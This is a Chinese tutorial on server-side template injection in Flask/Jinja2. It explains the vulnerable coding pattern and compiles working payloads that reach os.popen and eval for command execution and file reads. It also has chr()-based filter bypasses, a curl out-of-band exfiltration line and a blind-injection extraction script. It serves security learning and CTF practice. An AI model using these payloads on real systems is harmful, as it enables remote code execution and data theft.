SSTI模板注入(Python+Jinja2)

cl4y@星盟
[toc]

SSTI模板注入(Python+Jinja2)

之前有做过一些SSTI的ctf,但是没有系统的学习,今天来总结一下。

前提知识

python、flask、jinja2

SSTI介绍

ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数,这些函数对用户的输入信任,造成了模板注入漏洞,可以造成文件泄露,rce等漏洞。
**永远 不要 相信 用户的任何输入**

SSTI种类

不同框架有不同的渲染模板:

漏洞成因

一个安全的代码应该如下:

#/www
from flask import Flask,request,render_template
from jinja2 import Template
app = Flask(__name__)
app.config['SECRET'] = "root:password"

@app.route('/')
@app.route('/index')
def index():
    return render_template("index.html",title='SSTI_TEST',name=request.args.get("name"))

if __name__ == "__main__":
    app.run()
<!--/www/templates/index.html-->
<html>
  <head>
    <title>{{title}} - cl4y</title>
  </head>
 <body>
      <h1>Hello, {{name}} !</h1>
  </body>
</html>

可以看到,我们在index.html里面构造了两个渲染模板,用户通过传递name参数可以控制回显的内容:

即使用户输入渲染模板,更改语法结构,也不会造成SSTI注入:

原因是:服务端先将index.html渲染,然后读取用户输入的参数,模板其实已经固定,用户的输入不会更改模板的语法结构。

而如果有程序员为了图省事,将代码这样写:

from flask import Flask,request
from jinja2 import Template
app = Flask(__name__)
app.config['SECRET_KEY'] = "password:123456789"
@app.route("/")
def index():
    name = request.args.get('name', 'guest')
    t = Template('''
<html>
  <head>
    <title>SSTI_TEST - cl4y</title>
  </head>
 <body>
      <h1>Hello, %s !</h1>
  </body>
</html>
                '''% (name))
    return t.render()
if __name__ == "__main__":
    app.run()

我们再进行测试:

可以看到,我们输入的内容被服务器渲染然后输出,形成SSTI模板注入漏洞。

基础知识

  • __class__
    万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>

  • __bases__
    以元组的形式返回一个类所直接继承的类。

  • __base__
    以字符串返回一个类所直接继承的第一个类。

  • __mro__
    返回解析方法调用的顺序。

    可以看到__bases__返回了test()的两个父类,__bases_返回了test()的第一个父类,__mro__按照子类到父类到父父类解析的顺序返回所有类。

  • __subclasses__()
    获取类的所有子类。

  • __init__
    所有自带类都包含init方法。

  • __globals__
    function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。

注入思路|payload

注入思路

  • 随便找一个内置类对象用__class__拿到他所对应的类
  • __bases__拿到基类(<class 'object'>
  • __subclasses__()拿到子类列表
  • 在子类列表中直接寻找可以利用的类getshell
''.__class__.__bases__[0].__subclasses__()
().__class__.__mro__[2].__subclasses__()
request.__class__.__mro__[1]

接下来只要找到能够利用的类(方法、函数)就好了:

找可利用的类

from flask import Flask,request
from jinja2 import Template
search = 'eval'   
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass

这是一个找可利用类的脚本,可供师傅们自己去发掘利用链,想利用啥,就找啥就行了。然后我找到了一下利用链,在下面写出。

python2、python3通用payload

因为每个环境使用的python库不同 所以类的排序有差异

直接使用popen(python2不行)

os._wrap_close类里有popen。

"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()

使用os下的popen

可以从含有os的基类入手,比如说linecache

"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()

使用__import__下的os(python2不行)

可以使用__import__os

"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()

__builtins__下的多个函数

__builtins__下有eval__import__等的函数,可以利用此来执行命令。

"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

利用python2的file类读写文件

在python3中file类被删除了,所以以下payload只有python2中可行。
dir来看看内置的方法:

#读文件
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()
#写文件
"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')
#python2的str类型不直接从属于属于基类,所以要两次 .__bases__

通用getshell

原理就是找到含有__builtins__的类,然后利用。

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
#读写文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

绕过

绕过中括号

#通过__bases__.__getitem__(0)(__subclasses__().__getitem__(128))绕过__bases__[0](__subclasses__()[128])
#通过__subclasses__().pop(128)绕过__bases__[0](__subclasses__()[128])
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()

绕过逗号+中括号

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.os.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}

绕过双大括号(dns外带)

{% if ''.__class__.__bases__.__getitem__(0).__subclasses__().pop(250).__init__.__globals__.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

python2下的盲注

python2下如果不能用命令执行,可以使用file类进行盲注

import requests
url = 'http://127.0.0.1:8080/'
def check(payload):
    postdata = {
        'exploit':payload
        }
    r = requests.post(url, data=postdata).content
    return '~p0~' in r
password  = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
for i in xrange(0,100):
    for c in s:
        payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
        if check(payload):
            password += c
            break
    print password

绕过 引号 中括号 通用getshell

ps. 其实还可以再绕过 双花括号,不过payload过于恶心,懒得写了,不过或许之后会出一道题也不好说2333。

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__==chr(95)%2bchr(119)%2bchr(114)%2bchr(97)%2bchr(112)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(111)%2bchr(115)%2bchr(101) %}{{ c.__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read() }}{% endif %}{% endfor %}

本文来源于: https://xz.aliyun.com/t/7746

相关推荐

Java 反序列化回显的多种姿势

写在文前 在研究weblogic、fastjson、shiro反序列化漏洞时,多次遇到了回显问题,本文将从以下几种角度出发来分别探讨反序列化回显的问题,也感谢各位师傅们的反序列化回显研究。 defineClass RMI绑定实例 URLCl

无字母数字webshell进阶收藏版

收藏即为会了!!!!!! 还没有看过P神两篇文章的走这里 一些不包含数字和字母的webshell 无字母数字webshell之提高篇 Unicode码运用 1.原理 P神在他文章中指出: 我们可以使用[].Φ来得到字符串Array. 我们

蚁剑改造过WAF系列(二)

Author: lz520520@深蓝攻防实验室 0x00 前言 上一篇讲过了编码器和解码器,本篇会讲解蚁剑源码部分,添加asp/aspx解码模块,来实现asp/aspx的加密回显。 0x01 蚁剑源码介绍 大家蚁剑可能用到最多的还是php

代码审计:PbootCMS2.07内核处理缺陷导致的一个前台任意文件包含漏洞分析

挖出来之后看了下官网发现不到半个月之前更新了最新版,下下来之后发现这洞修了..我吐了 干脆直接发出来 分享下思路吧 0x00漏洞分析 漏洞发生在PbootCMS内核的模板解析函数中 为了方便看直接上一个完整的Parser代码吧 public

SaltStack CVE-2020-11651/11652 分析

SaltStack是一种基于C/S架构的服务器基础架构集中管理平台,最近披露出存在两个安全漏洞 CVE-2020-11651 权限缺陷、CVE-2020-11652 任意文件读写漏洞,官方公告SALT 3000.2 RELEASE NOTE

蚁剑改造过WAF系列(三)

Author: lz520520@深蓝攻防实验室 0x00 前言 前两篇从蚁剑的介绍,编解码器的功能讲解,到源码分析和解码器的改造,其实已经实现了大部分流量的加密传输,只要在设计一个简单的加密算法即可,比如异或算法,用字符串和key做异或即

一次敏感信息泄露引发的逻辑漏洞挖掘

根据手头上的信息,最大化的利用,一次简单的漏洞挖掘,感觉过程很有意思分享一下~ 0x01初始 收集子域,也是渗透的初始。这里我只是简单用了fofa发现了该公司用来管理合作的一些子域名然后发现是登录管理页面,深入然后发现很多的敏感信息。也是从

YCCMS代码审计(新手教学方向)

前言 在逛CNVD时发现这款CMS存在不少常见的漏洞,并且看样子漏洞没有修复,一时好奇就下载下来看了看。经过简单的分析发现该CMS触发漏洞的方式挺常见的,正好可以从代码方面 分析一下这些漏洞的成因,加深对一些常见漏洞的理解 CMS下载地址:

记一次excel XXE漏洞

0x00 概述 Microsoft Office从2007版本引入了新的开放的XML文件格式,基于压缩的ZIP文件格式规范,改后缀名为zip再解压缩可以发现其中多数是描述工作簿数据、元数据、文档信息的XML文件。 许多网站允许上传/导入文

xyhcms v3.6 命令执行

xyhcms v3.6 命令执行 漏洞描述 XYHCMS是一款开源的CMS内容管理系统。 XYHCMS后台存在代码执行漏洞,攻击者可利用该漏洞在site.php中增加恶意代码,从而可以获取目标终端的权限。 复现 按步骤安装,查看site.p

红队-C2 Server基础构建

C2 使目标机器可以接收来自服务器的命令,但实战中通常在恶意软件分析的时候是首先被分析出来的,所以这也就是需要对C2 server加固的原因。 下面将C2 server部署时候你需要认识的一些点总结来更好建设、隐蔽、使用你的C2 serve